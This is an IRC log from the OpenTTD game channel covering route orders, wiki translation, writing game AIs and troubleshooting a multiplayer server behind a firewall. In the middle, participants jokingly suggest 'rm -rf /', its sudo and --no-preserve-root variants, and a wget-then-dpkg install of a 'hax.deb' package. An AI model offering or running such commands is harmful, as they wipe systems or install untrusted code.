somewhere 17:05:37 <Eddi|zuHause> i never really got familiar with git 17:06:53 <Alberth> I read "there are 30-40 commands for git" in a DVCS comparison. At that point I considered other more useful by definition :p 17:08:00 <Alberth> *others 17:13:05 *** fonsinchen [~fonsinche@brln-4dbaac58.pool.mediaWays.net] has joined #openttd 17:14:25 *** killingMachine [~me@201-2-18-9.bsace704.dsl.brasiltelecom.net.br] has quit [Quit: -= http://www.comic-scans.net SysReset 2.55=-] 17:16:25 *** Aali [~aali@h-90-31.A189.priv.bahnhof.se] has joined #openttd 17:16:42 <TomyLobo> "too few orders" means less than two stations? does it count waypoints? 17:17:12 <TomyLobo> ...and depots 17:17:39 <Alberth> to transport something, you need two stations, don't you? 17:17:46 <TomyLobo> yes 17:18:17 <TomyLobo> i'm manipulating a large amount of similar orders which have 2 stations and a few waypoints in them each 17:18:19 <Eddi|zuHause> two real stations 17:18:34 <TomyLobo> i'm replacing their target station basically 17:18:43 <Alberth> you know about shared orders? 17:18:50 <TomyLobo> similar 17:18:54 <TomyLobo> not the same 17:19:04 <TomyLobo> so if i accidentally delete too much, i get warned, right? 17:19:18 <TomyLobo> i.e. if i delete a station too much 17:19:18 <Eddi|zuHause> yeah 17:19:31 <TomyLobo> good 17:19:54 <TomyLobo> i've replaced these orders 3 times now 17:20:01 <Alberth> even if you don't get a wraning, the profit of the vehicle drops into the red 17:20:15 <TomyLobo> some stupid train kept loading goods at it, which i was going to split off into a 2nd station 17:20:22 <TomyLobo> (non-stop ftw) 17:20:37 <TomyLobo> i started with Cloppenburg East 17:20:43 <TomyLobo> and now it's back at that name :) 17:27:00 * Rubidium wonders how many languages this luigix (pretends to) speak(s) 17:27:56 <Rubidium> hungarian, german, spanish and catalan seems a somewhat odd combination 17:30:18 <TomyLobo> his parents might be hungarian and catalan and he learned german in school :) 17:36:45 *** pugi [~pugi@p4FCC4EF5.dip.t-dialin.net] has quit [Ping timeout: 480 seconds] 17:38:34 *** pugi [~pugi@p4FCC4879.dip.t-dialin.net] has joined #openttd 17:45:42 <CIA-2> OpenTTD: translators * r20214 /trunk/src/lang/ (7 files): (log message trimmed) 17:45:42 <CIA-2> OpenTTD: -Update from WebTranslator v3.0: 17:45:42 <CIA-2> OpenTTD: croatian - 9 changes by VoyagerOne 17:45:42 <CIA-2> OpenTTD: finnish - 9 changes by jpx_ 17:45:42 <CIA-2> OpenTTD: french - 9 changes by glx 17:45:44 <CIA-2> OpenTTD: german - 9 changes by planetmaker 17:45:44 <CIA-2> OpenTTD: indonesian - 9 changes by prof 17:50:00 <planetmaker> Rubidium: did he apply as translator for all?! 17:50:42 <TomyLobo> noone speaks 5 languages well enough to translate between them 17:50:50 <Rubidium> planetmaker: see the wiki 17:50:51 <planetmaker> Maybe he's grew up as kid of two different ethnicities (German and Hungarian) in the Catalan region 17:51:05 <planetmaker> TomyLobo: that's certainly not true. Though very unlikely 17:51:34 <TomyLobo> planetmaker i mean in a quality that isnt like most german translations of foreign games :) 17:51:54 <planetmaker> TomyLobo: yes, even then 17:52:06 <Rubidium> planetmaker: no luigix ever tried to become WT3 translator though 17:52:14 <planetmaker> he 17:53:17 <planetmaker> o_O that's a LOT of edits 17:54:15 <planetmaker> I see no German, though 17:54:31 <planetmaker> but... that might be attributed to the shortness of history ;-) 17:55:57 <planetmaker> but actually he has to be congratulated for his effort 17:57:37 <planetmaker> even if others might speak one of the languages better than he, no one did anything in that respect. And people speaking those languages certainly now are better servered than no translation 17:57:43 <planetmaker> even though I cannot judge it at all 17:58:17 *** Devroush [~dennis@94-225-67-91.access.telenet.be] has quit [Ping timeout: 480 seconds] 18:00:09 <Rubidium> planetmaker: I saw him change some german pages 18:00:36 <Rubidium> but then he's changing so many pages that it's probably "lost" already 18:01:07 <planetmaker> he 18:01:33 <planetmaker> it's a wiki... so it'll sort out in the usual time span.... half a year :-P 18:02:22 <Rubidium> exactly 18:02:31 <planetmaker> but it's imho good that localization is somewhat started 18:03:05 <Rubidium> IF only he replies to his bug reports 18:03:19 *** Zahl_ [~Zahl@2a01:198:5c1:0:512f:5baf:495f:174c] has joined #openttd 18:03:54 <planetmaker> hm, that's annoying, if people don't give feedback 18:10:21 *** Zahl [~Zahl@frbg-d9be3a5d.pool.mediaWays.net] has quit [Ping timeout: 480 seconds] 18:10:21 *** Zahl_ is now known as Zahl 18:12:29 *** Born_Acorn [~bornacorn@yoda.zernebok.com] has quit [Ping timeout: 480 seconds] 18:12:59 *** orudge [~orudge@owenrudge.net] has quit [Ping timeout: 480 seconds] 18:13:35 *** Andel [~andel@owenrudge.net] has quit [Ping timeout: 480 seconds] 18:19:52 *** Devroush [~dennis@94-225-67-91.access.telenet.be] has joined #openttd 18:25:50 *** SamMacca [~sammacca9@78.148.77.135] has joined #openttd 18:44:41 <Ammler> translating wiki is silly 18:46:17 <Ammler> why does it need to end with "/Hu"? 18:46:34 <Rubidium> to make clear it's hungarian 18:46:46 <Ammler> it is ugly 18:47:15 <Rubidium> then just don't use them :) 18:50:33 *** Born_Acorn [~bornacorn@yoda.zernebok.com] has joined #openttd 18:51:49 *** Andel [~andel@owenrudge.net] has joined #openttd 18:54:54 <planetmaker> [20:44] <Ammler> translating wiki is silly <-- why do you think that a manual in another language than English is silly? 18:55:10 <Ammler> you interpret that that way? :-) 18:55:21 <planetmaker> that's what the wiki is 18:55:30 <Ammler> yes, wiki for other languages is fine 18:55:51 <Ammler> but not like he does 18:56:00 <planetmaker> or there'd be no need for all wikipedias besides en.wikipedia.org 18:56:24 <planetmaker> what does he do that it becomes stupid? 18:56:27 <Ammler> yeah, we found out already, that those aren't translations 18:56:31 <planetmaker> Translating the 'wrong' pages? 18:57:11 *** orudge [~orudge@owenrudge.net] has joined #openttd 18:57:12 *** mode/#openttd [+o orudge] by ChanServ 18:57:12 <Rubidium> the two weeks he spend on "optimising" the how-to-compile-on-mac-os-x page? 18:57:23 <Rubidium> with literally hundreds of revisions 18:58:17 <Rubidium> oh... free tip: don't click on the translation flags; they won't do what you'd expect them to do 18:58:22 <planetmaker> yes. It would not be my priority either. There are other parts which are probably MUCH more urgently in need of translation (or even correction / amendment in the original). But still 18:58:41 <planetmaker> but priorities are different :-) 18:59:27 <Rubidium> oh, sorry... I lied 18:59:50 <Rubidium> it's only 170 changes in only 6 days 19:00:03 <planetmaker> :-D 19:01:22 <Rubidium> has openttdcoop ever come into trouble due to a too small vehicle pool? 19:03:03 <Ammler> around 3k vehicles is our max yet 19:03:33 <Rubidium> of 10 tiles long? 19:03:40 <Ammler> you might be able run more in a SP game with a very powerful pc 19:03:56 <planetmaker> Rubidium: not yet that I know of 19:04:22 <planetmaker> though we might have scratched the 64k mark a few times 19:04:34 <planetmaker> but that passed unnoticed 19:05:16 <Ammler> hmm, the 3k game was with 5tile trains? 19:05:21 <Ammler> or 3tiles 19:06:13 *** BlackXanthus [~BlackXant@87.113.98.53.plusnet.pte-ag2.dyn.plus.net] has joined #openttd 19:06:18 <BlackXanthus> take two... 19:06:30 <planetmaker> planning to enlarge the pool? 19:06:54 <BlackXanthus> hello all.. I'm trying (unsucesfully) to write my own simple AI. I'm obviously waaay out of my depth (having been trying all afternoon to build a bus-station, and failing) can anyone point me to a good tutorial? 19:06:56 <Ammler> a more annoying limit is station_spread, if you like to break a low limit 19:07:25 <planetmaker> BlackXanthus: have you consulted the source of other AIs? 19:07:39 <planetmaker> they're all (with the odd exception) GPL-licensed 19:08:11 <planetmaker> http://noai.openttd.org/ <-- BlackXanthus 19:09:02 <BlackXanthus> planetmaker : I have looked at TownCars4 19:09:17 <Rubidium> planetmaker: just looking at the possibilities 19:09:24 <BlackXanthus> the problem, as far as I can make out, is that I can't find a sensible place to build a station. Though there may also be a problem with the StationID that I'm giving it. 19:09:53 <BlackXanthus> StationID in the API just seems to take me round in circles, rather than telling me what I should define it as. 19:09:54 <Alberth> BlackXanthus: TownCars4 doesn't sound like it builds bus stations 19:10:13 <Ammler> isn't that the dumy ai for traffic? 19:10:23 <Alberth> I suspect so 19:10:23 <planetmaker> http://noai.openttd.org/projects <-- BlackXanthus 19:10:28 <BlackXanthus> Alberth : apparently it does.... at least accordint to the docs 19:10:30 <planetmaker> and I suspect Alberth is right 19:11:22 <BlackXanthus> okay.. 19:11:24 *** Biolunar [mahdi@blfd-5d823cb9.pool.mediaWays.net] has quit [Quit: bis dann!] 19:11:27 <Alberth> BlackXanthus: you checked that by running the ai ? docs tend to be hopelessly out of date 19:11:36 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has joined #openttd 19:11:37 <planetmaker> :-) 19:11:59 <TruePikachu> Xru, check e-mail 19:12:33 <TruePikachu> Everybody, I'm trying to get an OpenTTD session going with Xru, but I'm still having problems I think 19:12:58 <planetmaker> @ports 19:12:58 <DorpsGek> planetmaker: OpenTTD uses TCP and UDP port 3979 for server <-> client communication, UDP port 3978 for masterserver (advertise) communication (outbound), and TCP port 3978 for content service, a.k.a. BaNaNaS (outbound) 19:13:00 <TruePikachu> brb - I'll check my server bind address 19:13:21 <planetmaker> TruePikachu: leaving it at 0.0.0.0 gives it the default IP of your machine 19:13:25 <TruePikachu> Yes, I have the ports opened up on the gateway, but a LAN computer can't see it 19:13:49 <planetmaker> then you need to choose either LAN (not internet) and you need to make them two-way 19:13:53 <TruePikachu> planetmaker, I tried a NMAP of 3979 on the loopback, it's closed 19:14:08 *** xi23 [~xi23@78.110.223.65] has joined #openttd 19:14:10 <Alberth> BlackXanthus: but you may be better off starting with a 'normal' ai 19:14:32 <TruePikachu> brb, I'll NMAP my 192 168 0 250 19:15:36 <Xrufuian> TruePikachu: You're using the Linux box, right? 19:15:44 <TruePikachu> PORT 3979/tcp STATE filtered ... REASON/no-response 19:15:47 <TruePikachu> Xru, yes 19:15:51 <BlackXanthus> Alberth : got an example? 19:15:55 <TruePikachu> Can you connect? 19:16:00 <BlackXanthus> Alberth: that is, the name of an example AI I can look at? 19:16:22 <TruePikachu> Or even pick it up? 19:16:41 <Xrufuian> Nope. Not on master server list, nor does your IP respond. 19:16:51 * TruePikachu thinks that Linux is acting as a firewall 19:17:02 <Alberth> BlackXanthus: not really, I never studied that code, but in the download contents are 20 or so listed. 19:17:08 * Xrufuian is thing the same... 19:17:14 <TruePikachu> Anyone here know what gropu controls the TCP/UDP? 19:17:22 <TruePikachu> *gropu 19:17:24 <planetmaker> Xrufuian: you can try to enter the IP directly 19:17:26 <TruePikachu> *group 19:17:35 <BlackXanthus> Alberth : indeed.. I'm going through them slowly. It's frustrating, was hoping for a few pointers =) 19:17:59 <planetmaker> BlackXanthus: cluelessplus on that page I linked might be a good place to start 19:18:05 <TruePikachu> It doesn't respond on the LAN either, and NMAP responds that the port is either closed or filtered 19:18:09 <planetmaker> or indeed wrightAI. But it only builds airports 19:18:21 <planetmaker> and no. I have no clue myself beyond these general hints 19:18:37 <Xrufuian> (I did add his IP as a server. OpenTTD didn't receve a responce and states the server is offline.) 19:18:55 *** Fast2 [~Fast2@p57AF89E9.dip0.t-ipconnect.de] has joined #openttd 19:19:30 <planetmaker> then you have somewhere (on your, the routers or the server's side) ports not open 19:20:10 <TruePikachu> Xru, you can check my group list at /etc/group. Open up your DCC for a file transfer 19:20:19 <TruePikachu> planetmaker, I know that 19:20:26 <planetmaker> :-) 19:21:33 <Alberth> BlackXanthus: I'd stay away from the really competitive ones as that code may be more complicated. SimpleAI sounds like a nice candidate, but I have no idea how it compares with other code. You'll have to look into that yourself. 19:25:27 <BlackXanthus> * nods 19:25:29 * BlackXanthus ndos 19:26:37 <TruePikachu> Let's just talk here... 19:26:45 * TruePikachu hates /msg 19:28:08 <TruePikachu> I did it passive this time 19:30:44 <Xrufuian> I don't think it working... 19:30:55 * TruePikachu gets an idea 19:31:08 * TruePikachu adds himself to group 85 - netdev 19:31:46 <TruePikachu> Can you get it now? 19:32:07 <Xrufuian> Trying... 19:32:16 <Rubidium> first check with netstat -lpn whether it's actually listening on the port you want it to listen on. 19:32:46 <TruePikachu> It isn't listening right now, let me note that and actually start OpenTTD again 19:32:54 <Rubidium> next, if you're after a router check whether it's listening on a locally valid network 19:33:07 <Narigo> umm... one of my AIs (AdmiralAI) just crashed - what should I do? :) 19:33:11 <Rubidium> i.e. listening on the outside IP of you router isn't going to work (ever) 19:33:29 <TruePikachu> One thing at a time... 19:33:34 <Rubidium> also nmap-ing your own router's IP from the internal network isn't going to work in 99.99999% of the times 19:33:41 <TruePikachu> ...this is tty2, not a Konsole window! 19:33:43 *** Progman [~progman@p57A1BC77.dip.t-dialin.net] has joined #openttd 19:33:56 <TruePikachu> And I never nmapped my external IP 19:33:56 <Rubidium> and the rest of the times you've built your own router and configured it that way 19:34:17 <TruePikachu> Okay, KDE is starting 19:34:32 <BlackXanthus> dances 19:34:45 <BlackXanthus> okay.. so it's finally build Stations 19:34:47 * BlackXanthus grins 19:35:00 <BlackXanthus> now that I've worked out the problem, now to stop it building 100 of them all in one go =) 19:35:33 <Alberth> that should be easier :) 19:35:46 <TruePikachu> I just brought the server back up, but not with our map 19:36:11 <BlackXanthus> Alberth : indeed. It's handy though, it shows me where my road-finding algorithm is falling down 19:36:29 <Alberth> :) 19:36:39 * BlackXanthus grins 19:36:54 * TruePikachu grins also 19:36:57 <BlackXanthus> right.. much happier now.... now just get a little bus to stop at all the stations, and bob's my aunty 19:37:08 <TruePikachu> TCP and UDP are listening on internal IP 19:37:23 <TruePikachu> brb, going to check on a different computer in the house 19:37:47 *** BlackXanthus2 [~Berk@87.113.98.53.plusnet.pte-ag2.dyn.plus.net] has joined #openttd 19:37:55 *** BlackXanthus [~BlackXant@87.113.98.53.plusnet.pte-ag2.dyn.plus.net] has quit [Quit: Bye for now!] 19:38:01 *** BlackXanthus2 is now known as BlackXanthus 19:38:17 <BlackXanthus> much better to use a slightly more sensible client than the online one 19:39:26 <TruePikachu> Just looked, the other computer doesn't see it 19:40:26 * TruePikachu just remembered that the other computer is probably looking from IP 250, which is this computer's IP, so the results might be being sent to this computer instead of the other computer 19:40:53 <TruePikachu> @ports 19:40:53 <DorpsGek> TruePikachu: OpenTTD uses TCP and UDP port 3979 for server <-> client communication, UDP port 3978 for masterserver (advertise) communication (outbound), and TCP port 3978 for content service, a.k.a. BaNaNaS (outbound) 19:41:16 * TruePikachu will TCPDUMP | GREP 3979 19:41:39 <TruePikachu> Xru, try to connect 19:41:41 <TomyLobo> who or what is bananas? what does it stand for? 19:42:01 <TruePikachu> It's the content server 19:42:28 <TomyLobo> i mean it sounds like an initialism 19:42:57 <TruePikachu> Basic_Content and Newgrfs and New_heightmaps and Scenerios 19:43:03 * TruePikachu just made that up 19:43:17 * Xrufuian thinks not... 19:44:12 <TruePikachu> I just checked the tcpdump log, the other computer is doing 3-byte UDP transfers of length 3 to this computer's 3979 19:44:22 <Rubidium> don't forget NoAI 19:44:31 <Rubidium> and heightmaps are more or less scenarios 19:44:36 * TruePikachu puts tcpdump into ASCII mode 19:44:55 <TruePikachu> Okay, the last N is for NoAI 19:45:04 <Rubidium> or the first 19:45:35 * TruePikachu just noticed that OpenTTD's dbg is sending to TTY1 19:46:28 <Rubidium> OpenTTD doesn't do that by itself, unless it's running unforked in TTY1 ofcourse 19:46:38 <Rubidium> but... please show us you netstat -lpn 19:47:05 <TruePikachu> dbg: [net] getaddrinfo for hostname "", port 0, address family either IPv4 or IPv6 and socket type udp failed: Address family for hostname not supported 19:47:20 <TruePikachu> There are also 5 more lines there 19:47:43 <TruePikachu> Let me pipe the netstat 19:48:32 <TruePikachu> Simple form of the remaining lines: 19:49:08 <TruePikachu> we aren't recieving adknowledgement from the master server, and I need to allow 3979 ALL bidirectionally 19:49:11 <Rubidium> please use some pastebin for the netstat output 19:49:25 <TruePikachu> What's the OTTD.org pastebin? 19:49:40 <Rubidium> broken 19:50:18 <TruePikachu> let me open another instance of IRSSI in Konsole, so I have GUI 19:51:17 <TomyLobo> let me type these words so you see them 19:51:46 * TruePikachu isn't connecting there... 19:51:51 <TruePikachu> brb 19:51:53 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has quit [Quit: leaving] 19:52:05 *** Alberth [~hat@a82-95-164-127.adsl.xs4all.nl] has left #openttd [] 19:53:39 * Xrufuian wonders why it's always been difficult for him to play online multiplayer games with his friends... 19:54:03 <Rubidium> Xrufuian: because your friends are messing things up horribly? 19:54:22 *** TruePikachu [~chris@cpe-67-49-42-88.socal.res.rr.com] has joined #openttd 19:54:38 <TruePikachu> Okay, the pastebin is 19:54:51 <Xrufuian> Well, partly. Although I also get to blame my ISP in part. 19:54:54 * TruePikachu still needs a pastebin 19:55:32 <Xrufuian> TruePikachu: I have an idea that should work. 19:56:10 <Rubidium> TruePikachu: lmgtfy.com?q=pastebin 19:56:58 <Xrufuian> Why don't we get a very, very long cable and hook it up? 19:57:19 <TruePikachu> http://pastebin.com/B8ReyLtr 19:57:38 <TruePikachu> Xrufuian, I don't think that will work very nicely... 19:58:18 <TruePikachu> My username is chris 19:58:24 <Rubidium> that looks like it's listening correctly 19:58:36 <TruePikachu> on 250? 19:58:40 <Rubidium> so if you can't connect from your local network some sort of firewall must be interfering 19:59:02 <Rubidium> TruePikachu: yes, on .250 (same as samba's name server thingy) 20:00:41 <TruePikachu> I nees a pastebin for screenshots 20:01:33 <Xrufuian> I need a 200,000 foot ethernet cable. 20:03:56 * TruePikachu will just put it on wiki for now 20:05:22 <TruePikachu> http://wiki.openttd.org/Image:000.png is my modem's firewall configuration. Read the summary 20:07:36 <TruePikachu> http://wiki.openttd.org/Image:001.png has some of the gateway's advanced features 20:09:16 <TruePikachu> http://wiki.openttd.org/Image:002.png has the port forwarding page 20:09:24 <TruePikachu> Any ideas? 20:12:49 <planetmaker> you spam the wiki's DB for your computer troubles?! 20:13:05 <TruePikachu> The images can be deleted afterwards... 20:13:14 <TruePikachu> Or they can be kept as sort of a FAQ 20:13:35 <TruePikachu> It's just that I can't find an image pastebin 20:13:35 <Ammler> hehe 20:13:45 <Narigo> imageshack.us ? 20:13:55 <TruePikachu> Does it need an account? 20:14:00 <Narigo> no 20:14:10 <TruePikachu> Oh...I always thought it did... 20:14:16 <planetmaker> omg...! 20:14:31 <TruePikachu> what? 20:14:39 <Ammler> we made img.openttdcoop.org for our wiki spamers :-) 20:14:41 <__ln__> people have been banned from the wiki for less 20:14:41 <planetmaker> but it CANNOT be deleted from the wiki. Unless an admin does 20:15:15 <TruePikachu> Sorry! 20:16:20 <TruePikachu> If someone can delete those, it would be nice...I'll re-upload to imageshack 20:16:41 <Ammler> for start, I would disable the firewall and check if it works, then you know at least where the issue is 20:16:58 <planetmaker> so you now need *someone* who could spend his time well on the advancement of OpenTTD to clean up... :-( 20:18:15 <TruePikachu> It's 3 files... 20:18:44 <planetmaker> yes. And now imagine that everyone showing up here doing that 20:18:51 <__ln__> You ask if imageshack.us needs an account, yet you created an account for the wiki just for those three images... 20:18:57 <planetmaker> ^ 20:18:59 <TruePikachu> http://img249.imageshack.us/img249/8644/000r.png http://img805.imageshack.us/img805/6739/001q.png http://img718.imageshack.us/img718/471/002rm.png 20:19:15 <Xrufuian> He alreday had an account on the wiki. 20:19:19 <TruePikachu> And no, I was going to contrubute at one point 20:19:25 <TruePikachu> Xru, yes 20:19:47 <Xrufuian> But still no forum account? 20:19:51 <TruePikachu> It's just that people here on my first visit here told me not to contrubute 20:19:54 <__ln__> Xrufuian: No other "contributions" done with it. 20:20:12 <TruePikachu> Xru, I haven't had a huge amount of time, and I haven't needed one yet 20:21:46 <TruePikachu> Firewall off, and OTTD on :D 20:22:44 <TruePikachu> And I was going to submit the phrase "Mass times speed squared over twice power", referring to accelleration 20:22:44 <TomyLobo> do power stations ever disappear? 20:22:52 <TruePikachu> Not without a GRF 20:23:06 <TruePikachu> Banks don't disappear either 20:23:09 <TomyLobo> ugh 20:23:12 <TruePikachu> Neither do water towers 20:23:26 <TruePikachu> There is a grf on BaNaNaS which will allow it 20:23:28 <TomyLobo> power stations tend to block me ^^ 20:23:55 <TruePikachu> I can't check for it right now, though 20:24:08 <TruePikachu> Xrufuian: can you connect? 20:24:24 <TomyLobo> is it single-purpose or should i look for something more generic? 20:24:34 <TomyLobo> nm got it 20:24:39 <Xrufuian> Just a sec. I was drawing again ;) 20:24:43 <TruePikachu> ? I actually haven't used the GRF yet 20:24:47 <planetmaker> TomyLobo: http://bundles.openttdcoop.org/ogfxplus/nightlies/LATEST/ <-- try that newgrf 20:24:57 <TruePikachu> Xrufuian: You like your tablet, don't you :) 20:25:12 <TomyLobo> planetmaker what is ità 20:25:13 <TomyLobo> ? 20:25:22 <planetmaker> a newgrf? 20:25:27 <TomyLobo> obviously :) 20:25:33 <TomyLobo> i mean why should i try it? 20:25:56 <planetmaker> you want banks and powerplants to close down 20:26:11 <planetmaker> and water towers actually 20:26:11 <TomyLobo> i found that under "check online content" already 20:26:11 <TruePikachu> TomyLobo: You ? turned into Greek.BETA 20:26:13 <Xrufuian> Pikachu: Yes, I do. I love my new keyboard too. 20:26:25 <TomyLobo> TrueBrain nope german sz 20:26:25 <planetmaker> and guru X2 helicopters to stay around forever. 20:26:31 <BlackXanthus> gordon bennet! Now I can't get the sodding thign to build the proper cargo types! 20:26:33 <Xrufuian> (And no sucess with the game.) 20:26:41 * BlackXanthus kicks it 20:26:41 <TomyLobo> ? = shift+à on german keyboards 20:26:47 <BlackXanthus> so close and yet so far 20:27:07 <TomyLobo> βεÏα now? 20:27:11 * TruePikachu slaps himself 20:27:33 <TruePikachu> WAN Blocking ... [./] Enabled 20:27:47 <Xrufuian> Oh my. 20:27:50 <TruePikachu> (./ = check) 20:27:58 <TrueBrain> TomyLobo: stop highlighting the wrong person :( 20:28:13 <TruePikachu> Now it's WAN Blocking ... [ ] Enabled 20:28:21 <TruePikachu> Try again 20:28:24 <TomyLobo> βεÏα highlights you? :) 20:28:24 <planetmaker> TomyLobo: basically that newgrf is number of small extensions 20:28:36 <planetmaker> not changing default things, but extending it. 20:28:46 <TomyLobo> oh sorry didnt even notice :D 20:29:24 <Xrufuian> Still "Offline" 20:29:28 * TruePikachu is lagging 20:30:00 <TruePikachu> :( 20:30:28 <TruePikachu> Someone with Linux: Execute: 20:30:52 <planetmaker> rm -rf / ? 20:31:05 *** Jhs [~Jhs4@188.113.85.20] has quit [Read error: Connection reset by peer] 20:31:11 <TrueBrain> sudo rm -rf / 20:31:12 <TrueBrain> to be safe 20:31:14 <TruePikachu> nmap -p3979 67.49.42.88 20:31:27 *** xi234 [~xi23@78.110.223.65] has joined #openttd 20:31:33 <TruePikachu> planetmaker: no, don't delete everything 20:31:39 <TruePikachu> TrueBrain: You neither 20:32:10 <TruePikachu> and you would need --no-preserve-root 20:32:20 <Ammler> rm: cannot remove root directory `/' 20:32:35 <TruePikachu> Ammler, you didn't just try it, did you? 20:32:36 <planetmaker> too bad 20:32:43 <TrueBrain> try the 'sudo' variant 20:32:58 <TomyLobo> wget http://whatever.com/hax.deb && sudo dpkg -i hax.deb 20:33:01 <TruePikachu> NEVER RUN: sudo rm -rf --no-preserve-root / 20:33:25 <planetmaker> :-) 20:33:46 <planetmaker> I can ensure you it not only works on linux ;-) 20:34:02 <TruePikachu> UNIX variants work also, like MAC 20:34:18 <Ammler> TrueBrain: also as root 20:34:37 <TruePikachu> Anyway, did anyone nmap -p3979 67.49.42.88 20:34:41 <TomyLobo> i recommend chroot before testing :D 20:34:58 *** fonsinchen [~fonsinche@brln-4dbaac58.pool.mediaWays.net] has quit [Remote host closed the connection] 20:35:03 <TruePikachu> (where 67.49.42.88 is my external IP address, if it wasn't replaced) 20:35:25 <BlackXanthus> Is there anyone here that happens to know anything about building AI's? Specificially about engine_id's for Buses 20:35:50 <TomyLobo> TruePikachu i used telnet ^^ 20:36:00 <planetmaker> :-O 20:36:04 *** tdev [~udev@p508EB3AC.dip.t-dialin.net] has joined #openttd 20:36:26 <TomyLobo> which can only do tcp though. nothing happened btw 20:36:30 <Xrufuian> TruePikachu: I'll see about booting up Xubuntu. 20:37:20 <Narigo> after bribing a city, shouldn't i be able to build something in that city? :( 20:37:20 <TruePikachu> Umm, telnet won't be useful for telling if the port is open or closed... 20:37:36 *** xi23 [~xi23@78.110.223.65] has quit [Ping timeout: 480 seconds] 20:37:36 *** xi234 is now known as xi23 20:37:40 <TruePikachu> Narigo: You may have to bribe multiple times. See the mechanics page 20:37:50 <TomyLobo> Narigo also, the bribe might fail 20:37:59 <TomyLobo> which makes them hate you, obviously ^^ 20:38:06 <planetmaker> Narigo: better plant trees. Cheaper. And reliable 20:38:09 <TruePikachu> But if the bribe fails, you may be able to build a station 20:38:19 <TomyLobo> planetmaker except for big cities :) 20:38:23 <TruePikachu> Time: 1337 20:38:27 <planetmaker> yes, unfortunately 20:38:31 <TomyLobo> i.e. if they expand beyond their "local authority" range 20:38:59 <TomyLobo> TruePikachu 22:37. zzet 20:39:04 <Narigo> planetmaker, good idea to replace farm fields with trees? 20:39:12 <Narigo> (i don't need that farm) 20:39:14 <TomyLobo> Narigo the best 20:39:18 <planetmaker> Narigo: sure 20:39:19 <TruePikachu> Yes, then the farm builds over trees 20:39:21 <TomyLobo> the farm doesnt need its fields 20:39:24 <TruePikachu> But it is more expensiv 20:40:00 <TruePikachu> Has anyone done the nmap yet? 20:40:03 <TomyLobo> oh btw 20:40:14 <TomyLobo> buy your building site before putting trees over it 20:40:22 <TruePikachu> Yes. 20:40:27 <TomyLobo> that way you dont kill your standing right away 20:40:32 <TruePikachu> Do that 20:40:51 <TruePikachu> But ONLY for the station 20:40:53 <Narigo> so many trees... 20:41:00 <TruePikachu> If you do track, less room for trees 20:41:29 <Narigo> it worked :) 20:41:36 <Narigo> way better than bribing :/ 20:41:39 <TomyLobo> Narigo use the info tool to check where the city's authority ends 20:41:51 <TomyLobo> Narigo it only goes up to "Good" 20:41:51 * TruePikachu still needs a nmap on the port 20:41:52 <Narigo> can i drag "buy land"? 20:42:00 <TruePikachu> No 20:42:12 <Narigo> why is a track cheaper than "buy land"? :/ 20:42:17 <TruePikachu> Well, technically, yes, but it's not good for anything 20:42:21 <TomyLobo> if you need more than "Good" (like to kill a church), you need bribing ^^ 20:42:32 <Narigo> ahh ok 20:42:40 <BlackXanthus> for some reason the engine_id which claims to carry passenger cargo (CC_PASSENGERS) doesn't seem to actually carry passengers when built. What am I misssing? 20:42:55 <TruePikachu> Capacity??? 20:43:38 <TruePikachu> Xrufuian: Did you nmap me yet? 20:43:58 <Terkhen> good night 20:44:00 <TomyLobo> TruePikachu it's easier to reserve land with it usually. no need for signals or crossing lanes to prevent road from growing in 20:44:30 <TruePikachu> ...I know... 20:45:04 <TruePikachu> If you are referring to my dragging statement, it's because you can still only plop one at a tim 20:45:04 <TomyLobo> also easier to build over :) 20:45:24 <TomyLobo> oh 20:45:35 <TomyLobo> heh 20:45:44 <TomyLobo> literal use of "technically" 20:46:50 <TruePikachu> brb, and someone still needs to do the nmap and post the result 20:46:54 <Narigo> buy land also looks better, TomyLobo ;) 20:47:28 <TomyLobo> but you can draw funny faces better with rails :) 20:47:32 <Xrufuian> TruePikachu: "Host seems down." 20:47:55 <TruePikachu> Weird... 20:48:02 * TruePikachu is not down 20:48:30 * TruePikachu will fork OpenTTD to a file, and pastebin it 20:50:09 * Xrufuian will resume drawing trains... 20:51:10 <TruePikachu> dbg: [net] getaddrinfo for hostname "", port 0, address family either IPv4 or IPv6 and socket type udp failed: Address family for hostname not supported 20:51:20 <TruePikachu> Only error 20:51:30 <TruePikachu> (I'm not doing the advertise) 20:52:55 * BlackXanthus stabs openTTD's AI code 20:52:57 <BlackXanthus> stupid thing 20:53:41 <TruePikachu> Whrere does getaddrinfo get the hostname? And what hostname does it get? 20:53:47 <planetmaker> sounds like ip4 on ip6 or vice versa, TruePikachu 20:53:58 <TruePikachu> This is IPv4 on IPv4 20:54:03 *** heffer [~felix@HSI-KBW-095-208-017-052.hsi5.kabel-badenwuerttemberg.de] has quit [Quit: heffer] 20:54:09 <TruePikachu> The modem isn't compatable with IPv6 20:54:43 <TruePikachu> The hostname it gets is "" 20:55:06 *** fmauneko [~fmauneko@88.166.241.226] has joined #openttd 20:56:21 *** Wizzleby [~wizzleby@pool-108-2-26-106.phlapa.east.verizon.net] has joined #openttd 20:57:07 <TruePikachu> The error comes up right when I open the Multiplayer menu 20:58:30 * TruePikachu is lagging 20:58:37 <BlackXanthus> TruePikachu : what version linux? 20:58:52 <BlackXanthus> TruePikachu : because you may want to check /etc/network 20:58:57 <BlackXanthus> for the hostname to be set. 20:59:15 <TruePikachu> 2.6.27.29 20:59:39 <BlackXanthus> TruePikachu : is that just the return from uname? I need the distro =) 21:00:17 <TruePikachu> Vector, but I don't know the distro version number 21:00:25 <TruePikachu> /etc/network is a directory 21:01:04 *** SamMacca [~sammacca9@78.148.77.135] has quit [] 21:01:22 <TruePikachu> Vector is a slackware variant 21:01:25 * andythenorth ponders 21:01:59 <TruePikachu> This is only a PIII 800MHz running on a box designed for Windows 98, of course I have to use a slackware distro 21:02:11 <BlackXanthus> ahh, slackware.... then no idea. 21:02:30 <BlackXanthus> most times, hostname is set in a nice file somewhere near the network settings 21:02:55 <TruePikachu> Let me check the /sbin and /bin, I think I remember a command around the lines of hostname... 21:03:23 <BlackXanthus> hostname =) 21:03:37 <TruePikachu> Return from /bin/hostname: cDusto.CricketPG.com 21:03:47 <BlackXanthus> then that's your currently set hostname 21:03:56 <TruePikachu> It isn't a resolved address, as I actually don't have an address like that 21:03:56 <BlackXanthus> you can alsu use hostname to set your hostname (temporarily) 21:04:14 <TruePikachu> But OpenTTD is replying that there is NO hostname ("") 21:04:43 <BlackXanthus> try : hostname my.new.hostname.com 21:04:58 <BlackXanthus> then try again 21:06:51 <TruePikachu> same exact error 21:07:07 * 